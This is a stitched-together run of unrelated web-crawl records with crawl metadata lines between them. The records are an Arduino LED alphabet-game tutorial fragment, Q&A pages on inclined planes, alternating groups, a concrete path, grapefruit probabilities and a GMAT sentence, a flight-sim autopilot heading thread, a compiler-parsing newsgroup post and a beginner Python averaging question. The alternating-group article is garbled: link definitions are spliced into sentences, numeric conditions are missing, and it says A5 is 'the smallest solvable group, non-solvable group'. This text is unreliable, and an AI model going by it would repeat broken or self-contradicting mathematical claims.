}
```
## Step 4: Connect the Button
Now that you get the test program working, that also means that you had done the wiring correctly, congratulations. To setup the alphabet game, we are going to connect a button from Arduino pin 2, to one side of the switch and also 10K resistor to GND, this will pull the LOW signal to the input pin 2. The other side of the switch should be connected to VCC (5V).
When the switch is pressed the reading from Arduino pin 2 will be high.
## Step 5: Modify the Program to Be Able to Show All the Letters Randomly
Now it is time to modify the program to be able to show all the letter of the alphabet, and using random number generator function in Arduino library. To ensure that the number generated is random, we need to set the seed as shown below:
`randomSeed(analogRead(0));`
in the Setup() section of the Arduino code, this will ensure that the number generated using
`random(1,26);`
function is random, otherwise you will be getting the same sequence of numbers.
Now that we had the random number generated, it is time to map the number to the letters of the alphabet that we had create, for that I use the following function
```void getChar(int num){<br> switch (num){
case 1: display_char(A); break;
case 2: display_char(B); break;
case 3: display_char(C); break;
case 4: display_char(D); break;
case 5: display_char(E);break;
case 6: display_char(F);break;
case 7: display_char(G);break;
case 8: display_char(H);break;
case 9: display_char(I);break;
case 10: display_char(J);break;
case 11: display_char(K);break;
case 12: display_char(L);break;
case 13: display_char(M);break;
case 14: display_char(N);break;
case 15: display_char(O);break;
case 16: display_char(P);break;
case 17: display_char(Q);break;
case 18: display_char(R);break;
case 19: display_char(S);break;
case 20: display_char(T);break;
case 21: display_char(U);break;
case 22: display_char(V);break;
case 23: display_char(W);break;
case 24: display_char(X);break;
case 25: display_char(Y);break;
case 26: display_char(Z);break;
default:
break;
}
}```
I had attached the entire final Arduino program.
You can also find other electronics or computer related projects that you might be interested in on my website.
## Step 6: Final Thoughts
The LED matrix can be expanded into other projects such as the following:
- Arduino Dice simulator: using the same LED matrix circuit and a small modification to the code
- Arduino Binary Clock: the detail build can be found in my website
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http://www.ask.com/science/mechanical-advantage-inclined-plane-24d78fe8830585ae | 1,464,156,389,000,000,000 | text/html | crawl-data/CC-MAIN-2016-22/segments/1464049274119.75/warc/CC-MAIN-20160524002114-00042-ip-10-185-217-139.ec2.internal.warc.gz | 342,427,735 | 20,885 | Q:
# What is the mechanical advantage of an inclined plane?
A:
### Quick Answer
The mechanical advantage of an inclined plane can be calculated by dividing the inclined plane's length by its height. The mechanical advantage of an inclined plane represents how less work is needed to move an object up a ramp compared to directly lifting it from the ground.
Know More
### Full Answer
Inclined planes are often used when heavy objects need to be moved to a higher vertical position. Instead of lifting the object up, it can be pushed up a ramp. The ramp allows a lower amount of force to be spread out to accomplish the same task. This is because work is equal to force multiplied by distance. The work stays the same, the distance increases, so the force required is less.
Learn more about Motion & Mechanics
Sources:
## Related Questions
• A:
According to PBS, Galileo's inclined plane was an experiment performed to test the effects of gravity on falling objects. Galileo's inclined plane experiment eventually proved that in the absence of outside forces, gravity causes all objects to fall at an increasing rate.
Full Answer >
Filed Under:
• A:
The mechanical advantage of a single wedge is calculated by using the formula MA = length of slope/height of slope, where "MA" denotes the mechanical advantage. For a double wedge, the formula for solving the mechanical advantage is MA = effort distance/resistance force distance.
Full Answer >
Filed Under:
• A:
When an inclined plane, a type of simple machine, is wrapped around a cylinder, it forms a screw, which is another type of simple machine. Machines are mechanisms that can make work easier to do.
Full Answer >
Filed Under:
• A:
The mass of an object does not affect its speed along an inclined plane, presuming that the object's mass does not prevent it from moving altogether. Only the force of gravity, the angle of the incline and the coefficient of friction influence the object's speed.
Full Answer >
Filed Under: | 406 | 1,997 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.109375 | 3 | CC-MAIN-2016-22 | latest | en | 0.925645 |
http://theinfolist.com/php/SummaryGet.php?FindGo=alternating_group | 1,642,987,186,000,000,000 | text/html | crawl-data/CC-MAIN-2022-05/segments/1642320304345.92/warc/CC-MAIN-20220123232910-20220124022910-00025.warc.gz | 57,650,273 | 8,056 | alternating group
TheInfoList
In
mathematics Mathematics (from Greek: ) includes the study of such topics as numbers ( and ), formulas and related structures (), shapes and spaces in which they are contained (), and quantities and their changes ( and ). There is no general consensus abo ...
, an alternating group is the
group A group is a number A number is a mathematical object used to counting, count, measurement, measure, and nominal number, label. The original examples are the natural numbers 1, 2, 3, 4, and so forth. Numbers can be represented in language with ...
of
even permutation In mathematics, when ''X'' is a finite set with at least two elements, the permutations of ''X'' (i.e. the bijective functions from ''X'' to ''X'') fall into two classes of equal size: the even permutations and the odd permutations. If any total ord ...
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finite set In mathematics Mathematics (from Ancient Greek, Greek: ) includes the study of such topics as quantity (number theory), mathematical structure, structure (algebra), space (geometry), and calculus, change (mathematical analysis, analysis). It ...
. The alternating group on a set of ''n'' elements is called the alternating group of degree ''n'', or the alternating group on ''n'' letters and denoted by A''n'' or Alt(''n'').
Basic properties
For , the group A''n'' is the
commutator subgroup In mathematics Mathematics (from Ancient Greek, Greek: ) includes the study of such topics as quantity (number theory), mathematical structure, structure (algebra), space (geometry), and calculus, change (mathematical analysis, analysis). It h ...
of the
symmetric group In abstract algebra In algebra, which is a broad division of mathematics, abstract algebra (occasionally called modern algebra) is the study of algebraic structures. Algebraic structures include group (mathematics), groups, ring (mathematic ...
S''n'' with
index Index may refer to: Arts, entertainment, and media Fictional entities * Index (''A Certain Magical Index''), a character in the light novel series ''A Certain Magical Index'' * The Index, an item on a halo megastructure in the ''Halo'' series of ...
2 and has therefore ''n''!/2 elements. It is the
kernel Kernel may refer to: Computing * Kernel (operating system) In an operating system with a Abstraction layer, layered architecture, the kernel is the lowest level, has complete control of the hardware and is always in memory. In some systems it ...
of the signature
group homomorphism Image:Group homomorphism ver.2.svg, 250px, Image of a group homomorphism (h) from G (left) to H (right). The smaller oval inside H is the image of h. N is the Kernel_(algebra)#Group_homomorphisms, kernel of h and aN is a coset of N. In mathematics ...
explained under
symmetric group In abstract algebra In algebra, which is a broad division of mathematics, abstract algebra (occasionally called modern algebra) is the study of algebraic structures. Algebraic structures include group (mathematics), groups, ring (mathematic ...
. The group A''n'' is abelian
if and only if In logic Logic is an interdisciplinary field which studies truth and reasoning Reason is the capacity of consciously making sense of things, applying logic Logic (from Ancient Greek, Greek: grc, wikt:λογική, λογική, l ...
and
simple Simple or SIMPLE may refer to: * Simplicity, the state or quality of being simple Arts and entertainment * ''Simple'' (album), by Andy Yorke, 2008, and its title track * "Simple" (Florida Georgia Line song), 2018 * "Simple", a song by Johnn ...
if and only if or . A5 is the smallest non-abelian
simple group In mathematics, a simple group is a nontrivial Group (mathematics), group whose only normal subgroups are the trivial group and the group itself. A group that is not simple can be broken into two smaller groups, namely a nontrivial normal subgrou ...
, having order 60, and the smallest non-
solvable group In mathematics Mathematics (from Ancient Greek, Greek: ) includes the study of such topics as quantity (number theory), mathematical structure, structure (algebra), space (geometry), and calculus, change (mathematical analysis, analysis). It ...
. The group A4 has the
Klein four-group In mathematics Mathematics (from Ancient Greek, Greek: ) includes the study of such topics as quantity (number theory), mathematical structure, structure (algebra), space (geometry), and calculus, change (mathematical analysis, analysis). I ...
V as a proper
normal subgroup In abstract algebra In algebra, which is a broad division of mathematics, abstract algebra (occasionally called modern algebra) is the study of algebraic structures. Algebraic structures include group (mathematics), groups, ring (mathematics), ...
, namely the identity and the double transpositions that is the kernel of the surjection of A4 onto . We have the
exact sequence An exact sequence is a sequence of morphisms between objects (for example, groups, rings, modules) such that the image An SAR radar imaging, radar image acquired by the SIR-C/X-SAR radar on board the Space Shuttle Endeavour shows the Teid ...
. In
Galois theory In mathematics Mathematics (from Ancient Greek, Greek: ) includes the study of such topics as quantity (number theory), mathematical structure, structure (algebra), space (geometry), and calculus, change (mathematical analysis, analysis). It ...
, this map, or rather the corresponding map , corresponds to associating the
Lagrange resolvent In Galois theory, a discipline within the field of abstract algebra, a resolvent for a permutation group ''G'' is a polynomial whose coefficients depend polynomially on the coefficients of a given polynomial ''p'' and has, roughly speaking, a ratio ...
cubic to a quartic, which allows the
quartic polynomial In algebra Algebra (from ar, الجبر, lit=reunion of broken parts, bonesetting, translit=al-jabr) is one of the areas of mathematics, broad areas of mathematics, together with number theory, geometry and mathematical analysis, analysis ...
to be solved by radicals, as established by
Lodovico Ferrari Lodovico de Ferrari (2 February 1522 – 5 October 1565) was an Italians, Italian mathematician. Biography Born in Bologna, Lodovico's grandfather, Bartolomeo Ferrari, was forced out of Milan to Bologna. Lodovico settled in Bologna, and he be ...
.
Conjugacy classes
As in the
symmetric group In abstract algebra In algebra, which is a broad division of mathematics, abstract algebra (occasionally called modern algebra) is the study of algebraic structures. Algebraic structures include group (mathematics), groups, ring (mathematic ...
, any two elements of A''n'' that are conjugate by an element of A''n'' must have the same cycle shape. The converse is not necessarily true, however. If the cycle shape consists only of cycles of odd length with no two cycles the same length, where cycles of length one are included in the cycle type, then there are exactly two conjugacy classes for this cycle shape . Examples: *The two permutations (123) and (132) are not conjugates in A3, although they have the same cycle shape, and are therefore conjugate in S3. *The permutation (123)(45678) is not conjugate to its inverse (132)(48765) in A8, although the two permutations have the same cycle shape, so they are conjugate in S8.
Relation with symmetric group
:''See Symmetric group#Relation with alternating group , Symmetric group''.
Generators and relations
A''n'' is generated by 3-cycles, since 3-cycles can be obtained by combining pairs of transpositions. This generating set is often used to prove that A''n'' is simple for .
Automorphism group
For , except for , the automorphism group of A''n'' is the symmetric group S''n'', with inner automorphism group A''n'' and outer automorphism group Z2; the outer automorphism comes from conjugation by an odd permutation. For and 2, the automorphism group is trivial. For the automorphism group is Z2, with trivial inner automorphism group and outer automorphism group Z2. The outer automorphism group of A6 is Klein four-group, the Klein four-group , and is related to Symmetric group#Automorphism group, the outer automorphism of S6. The extra outer automorphism in A6 swaps the 3-cycles (like (123)) with elements of shape 32 (like (123)(456)).
Exceptional isomorphisms
There are some exceptional isomorphisms between some of the small alternating groups and small groups of Lie type, particularly projective special linear groups. These are: * A4 is isomorphic to PSL2(3)Robinson (1996), [ p. 78] and the symmetry group of chiral tetrahedral symmetry. * A5 is isomorphic to PSL2(4), PSL2(5), and the symmetry group of chiral icosahedral symmetry. (See for an indirect isomorphism of using a classification of simple groups of order 60, and Projective linear group#Action on p points, here for a direct proof). * A6 is isomorphic to PSL2(9) and PSp4(2)'. * A8 is isomorphic to PSL4(2). More obviously, A3 is isomorphic to the cyclic group Z3, and A0, A1, and A2 are isomorphic to the trivial group (which is also for any ''q'').
Example A5 as a subgroup of 3-space rotations
$A_5$ is the group of isometries of a dodecahedron in 3 space, so there is a representation $A_5\to SO_3\left(\mathbb\right)$ In this picture the vertices of the polyhedra represent the elements of the group, with the center of the sphere representing the identity element. Each vertex represents a rotation about the axis pointing from the center to that vertex, by an angle equal to the distance from the origin, in radians. Vertices in the same polyhedron are in the same conjugacy class. Since the conjugacy class equation for $A_5$ is 1+12+12+15+20=60, we obtain four distinct (nontrivial) polyhedra. The vertices of each polyhedron are in bijective correspondence with the elements of its conjugacy class, with the exception of the conjugacy class of (2,2)-cycles, which is represented by an icosidodecahedron on the outer surface, with its antipodal vertices identified with each other. The reason for this redundancy is that the corresponding rotations are by $\pi$ radians, and so can be represented by a vector of length $\pi$ in either of two directions. Thus the class of (2,2)-cycles contains 15 elements, while the icosidodecahedron has 30 vertices. The two conjugacy classes of twelve 5-cycles in $A_5$ are represented by two icosahedra, of radii $2\pi/5$ and $4\pi/5$, respectively. The nontrivial outer automorphism in $\text\left(A_5\right)\simeq Z_2$ interchanges these two classes and the corresponding icosahedra.
Example: the 15 puzzle
It can be proved that the 15 puzzle, a famous example of the sliding puzzle, can be represented by the alternating group $A_$, because the combinations of the 15 puzzle can be generated by Permutation#Definition, 3-cycles. In fact, any $2 \times k - 1$ sliding puzzle with square tiles of equal size can be represented by $A_$.
Subgroups
A4 is the smallest group demonstrating that the converse of Lagrange's theorem (group theory), Lagrange's theorem is not true in general: given a finite group ''G'' and a divisor ''d'' of , there does not necessarily exist a subgroup of ''G'' with order ''d'': the group , of order 12, has no subgroup of order 6. A subgroup of three elements (generated by a cyclic rotation of three objects) with any distinct nontrivial element generates the whole group. For all , A''n'' has no nontrivial (that is, proper)
normal subgroup In abstract algebra In algebra, which is a broad division of mathematics, abstract algebra (occasionally called modern algebra) is the study of algebraic structures. Algebraic structures include group (mathematics), groups, ring (mathematics), ...
s. Thus, A''n'' is a
simple group In mathematics, a simple group is a nontrivial Group (mathematics), group whose only normal subgroups are the trivial group and the group itself. A group that is not simple can be broken into two smaller groups, namely a nontrivial normal subgrou ...
for all . A5 is the smallest solvable group, non-solvable group.
Group homology
The group homology of the alternating groups exhibits stabilization, as in stable homotopy theory: for sufficiently large ''n'', it is constant. However, there are some low-dimensional exceptional homology. Note that the Symmetric group#Homology, homology of the symmetric group exhibits similar stabilization, but without the low-dimensional exceptions (additional homology elements).
H1: Abelianization
The first homology group coincides with abelianization, and (since $\mathrm_n$ is perfect group, perfect, except for the cited exceptions) is thus: :$H_1\left(\mathrm_n,\mathrm\right)=0$ for $n=0,1,2$; :$H_1\left(\mathrm_3,\mathrm\right)=\mathrm_3^ = \mathrm_3 = \mathrm/3$; :$H_1\left(\mathrm_4,\mathrm\right)=\mathrm_4^ = \mathrm/3$; :$H_1\left(\mathrm_n,\mathrm\right)=0$ for $n \geq 5$. This is easily seen directly, as follows. $\mathrm_n$ is generated by 3-cycles – so the only non-trivial abelianization maps are $\mathrm_n \to \mathrm_3,$ since order 3 elements must map to order 3 elements – and for $n \geq 5$ all 3-cycles are conjugate, so they must map to the same element in the abelianization, since conjugation is trivial in abelian groups. Thus a 3-cycle like (123) must map to the same element as its inverse (321), but thus must map to the identity, as it must then have order dividing 2 and 3, so the abelianization is trivial. For $n < 3$, $\mathrm_n$ is trivial, and thus has trivial abelianization. For $\mathrm_3$ and $\mathrm_4$ one can compute the abelianization directly, noting that the 3-cycles form two conjugacy classes (rather than all being conjugate) and there are non-trivial maps $\mathrm_3 \twoheadrightarrow \mathrm_3$ (in fact an isomorphism) and $\mathrm_4 \twoheadrightarrow \mathrm_3.$
H2: Schur multipliers
The Schur multipliers of the alternating groups A''n'' (in the case where ''n'' is at least 5) are the cyclic groups of order 2, except in the case where ''n'' is either 6 or 7, in which case there is also a triple cover. In these cases, then, the Schur multiplier is (the cyclic group) of order 6. These were first computed in . :$H_2\left(\mathrm_n,\mathrm\right)=0$ for $n = 1,2,3$; :$H_2\left(\mathrm_n,\mathrm\right)=\mathrm/2$ for $n = 4,5$; :$H_2\left(\mathrm_n,\mathrm\right)=\mathrm/6$ for $n = 6,7$; :$H_2\left(\mathrm_n,\mathrm\right)=\mathrm/2$ for $n \geq 8$.
* * * | 3,541 | 14,377 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 36, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.140625 | 3 | CC-MAIN-2022-05 | latest | en | 0.91156 |
https://www.avsim.com/forums/topic/75026-hdg-bug-and-direction-of-turn/ | 1,571,627,042,000,000,000 | text/html | crawl-data/CC-MAIN-2019-43/segments/1570987751039.81/warc/CC-MAIN-20191021020335-20191021043835-00030.warc.gz | 814,918,194 | 24,368 | # HDG bug and direction of turn
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Hi Guys,I want to move the HDG bug in, say, the clockwise direction, and have the aircraft turn in the same direction. If the HDG bug is moved more than 180
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Sure... write your own autopilot code.
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Nick, the only way you could accomplish that would be to write your code such that if the target heading is > 180 from your current heading, then subtract 180 from it and then continue to subtract 1 to the result until your target is reached...IOW, you would loop until your current heading matches your target heading...
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You sure you want it to work that way anyway? Try this sometime in a real plane and see what happens.
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Thanks guys, I'll check your ideas and code.This aircraft does work this way.
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I achieved what I wanted with the following code.I'm wondering if it can be simplified or whether the method is too complex.Basically, if the difference is greater than 180
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The above has faults, so still working on this.cheers,nick
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Nick I use for right turns in holding entry logic (gives smooth turns to desired headings over 180 from inbound track) All turns right have increasing numbers and left decreasing. (L:SetHoldTrack, degrees) 90 + d360 (>L:HoldTrack, degrees) } (L:HoldTrack, degrees) (A:GPS GROUND MAGNETIC TRACK,degrees) 30 + - abs 5 < if{ (L:SetHoldTrack, degrees) 180 + d360 (>L:HoldTrack, degrees) } Code starts turn to 90 deg. right then is interecepted after turning 30 deg to continue the turn past 180. SetHoldTrack is the hold inbound track to reverse 180 SetHoldTrack value to your heading K var. And left turns are (L:SetHoldTrack, degrees) 90 - d360 (>L:HoldTrack, degrees) } (L:HoldTrack, degrees) (A:GPS GROUND MAGNETIC TRACK,degrees) 30 - - abs 5 < if{ (L:SetHoldTrack, degrees) 180 + d360 (>L:HoldTrack, degrees) }
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http://mathhelpforum.com/algebra/94483-concrete-path-garden-print.html | 1,513,471,638,000,000,000 | text/html | crawl-data/CC-MAIN-2017-51/segments/1512948592202.83/warc/CC-MAIN-20171217000422-20171217022422-00015.warc.gz | 169,358,478 | 3,073 | # Concrete Path and Garden
• Jul 5th 2009, 11:53 PM
Concrete Path and Garden
A city council builds a 0.5 m concrete path around the garden as shown below.
Find the cost of the job if the workman charges \$40.00 per square metre.
(Worried)
I apologise for my unprofessional reconstruction. All measurements are given in metres.
• Jul 6th 2009, 12:05 AM
alexmahone
-delete-
• Jul 6th 2009, 12:07 AM
arze
Quote:
A city council builds a 0.5 m concrete path around the garden as shown below.
Find the cost of the job if the workman charges \$40.00 per square metre.
(Worried)
I apologise for my unprofessional reconstruction. All measurements are given in metres.
since you know all the dimensions, add 0.5m to each side. adding to your diagram would be best. then you can look at it as many rectangles, the widths are always 0.5m.
starting from the top left corner of the figure and going clockwise we can write the are as:
area=0.5*(5+0.5+0.5) + 0.5*12 + 0.5*(5+3+0.5+0.5) + 0.5*(12-8) + 0.5*3 + 0.5*8
then with this value, multiply it by \$40/sqm and you have the answer!
• Jul 6th 2009, 12:08 AM | 345 | 1,101 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.65625 | 4 | CC-MAIN-2017-51 | longest | en | 0.896216 |
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https://answers.yahoo.com/question/index?qid=20120616043154AAnF1qg&sort=O | 1,560,732,256,000,000,000 | text/html | crawl-data/CC-MAIN-2019-26/segments/1560627998339.2/warc/CC-MAIN-20190617002911-20190617024911-00100.warc.gz | 350,129,810 | 24,818 | # Percent and probability?
"if grapefruits in an orchard are normally distributed with a mean of 5.93 in and sd of 0.59i what % of them are larger than 5.88 in a random sample of 100 grapefruits from the same orchard and the mean diameter is calculated what is the probability that the sample mean is greater than 5.88 in Thank you.... show more "if grapefruits in an orchard are normally distributed with a mean of 5.93 in and sd of 0.59i what % of them are larger than 5.88 in
a random sample of 100 grapefruits from the same orchard and the mean diameter is calculated what is the probability that the sample mean is greater than 5.88 in
Thank you. I asked before but wanted to make sure I followed the instructions. | 183 | 722 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.9375 | 3 | CC-MAIN-2019-26 | longest | en | 0.969119 |
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# Plants are more efficient at acquiring carbon than are
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Plants are more efficient at acquiring carbon than are [#permalink]
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01 Sep 2006, 07:32
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Plants are more efficient at acquiring carbon than are fungi, in the form of carbon dioxide, and converting it to energy-rich sugars.
A.Plants are more efficient at acquiring carbon than are fungi
B.Plants are more efficient at acquiring carbon than fungi
C.Plants are more efficient than fungi at acquiring carbon
D.Plants, more efficient than fungi at acquiring carbon
E.Plants acquire carbon more efficiently than fungi
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01 Sep 2006, 07:33
Straight (C) omit the subordinate clause in the middle and the sentence flows fine.
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01 Sep 2006, 08:47
One more C.
X is more efficient than Y at smthing,...., and smthing
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01 Sep 2006, 10:25
First phrase should end with carbon to match the following phrase.
So narrowed down to C and D.
C is right.
X is more than fungi at ....
D has some modifier problem.
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01 Sep 2006, 11:40
C as modifier problem here.
1. More efficient Than
2. Carbon,.....,and converting it(Carbon)
Both are to be placed as close as possible
So sentence becomes
Plants are more efficient than fungi at acquiring carbon, in the form of carbon dioxide, and converting it to energy-rich sugars.
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01 Sep 2006, 11:41
Dont think C has modifier problem...lol..but its sentence that has the problem and C corrects it.
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01 Sep 2006, 20:11
imaru wrote:
Plants are more efficient at acquiring carbon than are fungi, in the form of carbon dioxide, and converting it to energy-rich sugars.
A.Plants are more efficient at acquiring carbon than are fungi
B.Plants are more efficient at acquiring carbon than fungi
C.Plants are more efficient than fungi at acquiring carbon
D.Plants, more efficient than fungi at acquiring carbon
E.Plants acquire carbon more efficiently than fungi
I am with C.
...carbon, in the form of carbon dioxide,.....
verb is missing in D.so D is out..
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02 Sep 2006, 05:06
ps_dahiya wrote:
This is a straight C.
Ditto
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04 Sep 2006, 11:10
yes. OA is C!
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05 Sep 2006, 04:34
Late, but easy C.
Wish SCs on the real test were this easy
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29 Jun 2010, 15:40
OA is C. However, in C the comparision is between "Plants" and "Fungui at acquiring carbon", which is incorrect.
Could anybody clarify?
Thanks,
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30 Jun 2010, 11:00
noboru wrote:
OA is C. However, in C the comparision is between "Plants" and "Fungui at acquiring carbon", which is incorrect.
Could anybody clarify?
Thanks,
You are not comparing palnt's efficiency with fungi's efficiency.
So, 'Plants are efficient than fungi' is correct
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29 Jul 2010, 15:15
onedayill wrote:
noboru wrote:
OA is C. However, in C the comparision is between "Plants" and "Fungui at acquiring carbon", which is incorrect.
Could anybody clarify?
Thanks,
You are not comparing palnt's efficiency with fungi's efficiency.
So, 'Plants are efficient than fungi' is correct
I am not saying that we are comparing plant's efficency with fungi's efficiency, but that the comparision in C is between "Plants" and "Fungi at acquiring carbon", which sounds bad for me.
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29 Jul 2010, 18:24
X is more efficient than Y at acquiring something.
C it is.
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30 Jul 2010, 02:19
seekmba wrote:
X is more efficient than Y at acquiring something.
C it is.
And where is the || between:
X
Y at acquiring something?
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Re: Plants are more efficient at acquiring carbon than are [#permalink]
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08 Mar 2012, 09:52
I have chosen C for this question:
A. Although the comparison is correct here, the modifier "in the form of carbon dioxide" modifies fungi. This is incorrect.
B. This comparison is very ambiguous. We are left wondering if plants are more efficient at acquiring carbon than fungi are at acquiring carbon or if plants are more efficient at acquiring carbon than they are at acquiring fungi. Also, the modifier is incorrectly modifying fungi instead of carbon.
C. The modifier modifies carbon correctly. The comparison seems to make sense.
D. The main verb is missing, so this is a sentence fragment.
E. Again, the modifier is modifying fungi instead of carbon.
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Re: Plants are more efficient at acquiring carbon than are [#permalink]
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24 Apr 2013, 00:19
Can some one confirm B and E do have comparison error. (Please leave the modifier err and correct ans)
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Re: Plants are more efficient at acquiring carbon than are [#permalink]
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25 Apr 2013, 12:46
1
KUDOS
sujit2k7 wrote:
Can some one confirm B and E do have comparison error. (Please leave the modifier err and correct ans)
E. Plants acquire carbon more efficiently than fungi
Here the intended meaning is changed. Now we mean to say that plants acquire carbon more efficiently than they can acquire fungi. So comparison error.
B. Plants are more efficient at acquiring carbon than fungi
1. Plants are more efficient at acquiring carbon than at acquiring fungi OR
2. Plants are more efficient at acquiring carbon than fungi are at acquiring carbon
Hope it helps.
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Re: Plants are more efficient at acquiring carbon than are [#permalink]
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25 Apr 2013, 12:46
sujit2k7 wrote:
Can some one confirm B and E do have comparison error. (Please leave the modifier err and correct ans)
E. Plants acquire carbon more efficiently than fungi
Here the intended meaning is changed. Now we mean to say that plants acquire carbon more efficiently than they can acquire fungi. So comparison error.
B. Plants are more efficient at acquiring carbon than fungi
1. Plants are more efficient at acquiring carbon than at acquiring fungi OR
2. Plants are more efficient at acquiring carbon than fungi are at acquiring carbon
Hope it helps.
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Re: Plants are more efficient at acquiring carbon than are [#permalink] 25 Apr 2013, 12:46
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Display posts from previous: Sort by | 2,401 | 9,197 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.25 | 3 | CC-MAIN-2017-26 | latest | en | 0.900934 |
http://compilers.iecc.com/comparch/article/06-08-014 | 1,411,489,497,000,000,000 | text/html | crawl-data/CC-MAIN-2014-41/segments/1410657139314.4/warc/CC-MAIN-20140914011219-00066-ip-10-234-18-248.ec2.internal.warc.gz | 59,387,504 | 2,399 | # Re: Why LL(1) Parsers do not support left recursion?
## "SLK Parsers" <parsersinc@earthlink.net>3 Aug 2006 11:04:31 -0400
From comp.compilers
Related articles
[28 earlier articles]
Re: Why LL(1) Parsers do not support left recursion? wyrmwif@tsoft.org (SM Ryan) (2006-07-29)
Re: Why LL(1) Parsers do not support left recursion? ajo@andrew.cmu.edu (Arthur J. O'Dwyer) (2006-07-29)
Re: Why LL(1) Parsers do not support left recursion? DrDiettrich1@aol.com (Hans-Peter Diettrich) (2006-07-29)
Re: Why LL(1) Parsers do not support left recursion? parsersinc@earthlink.net (SLK Parsers) (2006-07-31)
Re: Why LL(1) Parsers do not support left recursion? wyrmwif@tsoft.org (SM Ryan) (2006-08-01)
Re: Why LL(1) Parsers do not support left recursion? DrDiettrich1@aol.com (Hans-Peter Diettrich) (2006-08-03)
Re: Why LL(1) Parsers do not support left recursion? parsersinc@earthlink.net (SLK Parsers) (2006-08-03)
Re: Why LL(1) Parsers do not support left recursion? parsersinc@earthlink.net (SLK Parsers) (2006-08-04)
| List of all articles for this month |
From: "SLK Parsers" Newsgroups: comp.compilers Date: 3 Aug 2006 11:04:31 -0400 Organization: Parsers Inc. References: 06-07-115 Keywords: parse Posted-Date: 03 Aug 2006 11:04:31 EDT
>How would I guess which one is that?
The technique is called "controlled ambiguity" in the Dragon book. You can
read about it there. I leave the LL solution as an exercise for the
interested reader, as if there are any.
Hint 1: We want to associate the ELSE with the closest IF, so use the
production that consumes the ELSE sooner.
Hint 2: There are only 2 possibilities, try them both and see which one
works.
The grammar solution is quite clever. If it were not so redundant, and
solved a problem that actually exists, it would be useful.
Forget about yacc for a minute. Assume you were creating the parse table by
hand. When you got to the shift-reduce conflict, you would say "Oh, I
remember this one from my first year compiler course. I will use the shift
as the entry in the parse table". This is what yacc does automatically. | 627 | 2,078 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.6875 | 3 | CC-MAIN-2014-41 | longest | en | 0.846261 |
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### #1 ramsay
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# "Average" or "sum of" on python programming
Posted 28 March 2009 - 10:48 AM
hello,
i am definitely on an entry level basis with programming. i just recently learned how to write a simple program in my class. for some reason i am having a difficult time with this problem:
A college wants you to write a program for them that will calculate the AVERAGE number of wins for their football team over the past FIVE years. the program user should be able to enter the number of wins each year. the program will calculate the average number of wins during that five year period and display that information to the screen.
i am using PYTHON GUI.
here is what i think i know:
season1=input("season1.")
season2=input("season2.")
season3=input("season3.")
season4=input("season4.")
season5=input("season5.")
average = (season1 + season2 + season3 + season4+ season5) /5
print 'the average is', average
by using these lines it is still not working. can anyone give me some advice? throw me a bone? im pulling my hair out here trying to figure it out myself.
thank you!
Is This A Good Question/Topic? 0
## Replies To: "Average" or "sum of" on python programming
### #2 atik97
• ???
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## Re: "Average" or "sum of" on python programming
Posted 28 March 2009 - 02:48 PM
If haven't mentioned what type of error you are having. If you just need to have the average with decimal point, then you can divide the sum with 5.0 instead of 5.
```season1=input("season1.")
season2=input("season2.")
season3=input("season3.")
season4=input("season4.")
season5=input("season5.")
average = (season1 + season2 + season3 + season4+ season5) /5.0
print 'the average is', average
```
Or, if you are using python 3.0 or latest version, then probably your program is getting an error. Because print isn't a statement there, it is a function. For that case, you can do-
```season1=input("season1.")
season2=input("season2.")
season3=input("season3.")
season4=input("season4.")
season5=input("season5.")
average = (season1 + season2 + season3 + season4+ season5) /5
print ('the average is', average)
```
Is it ok now? Let us know if you still having problem with what type of error you are getting.
### #3 davidaaron23
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• Posts: 22
• Joined: 17-February 09
## Re: "Average" or "sum of" on python programming
Posted 29 March 2009 - 09:49 PM
hey r u itt tech if so im me i was in python last quarter and have alot of the work [removed]
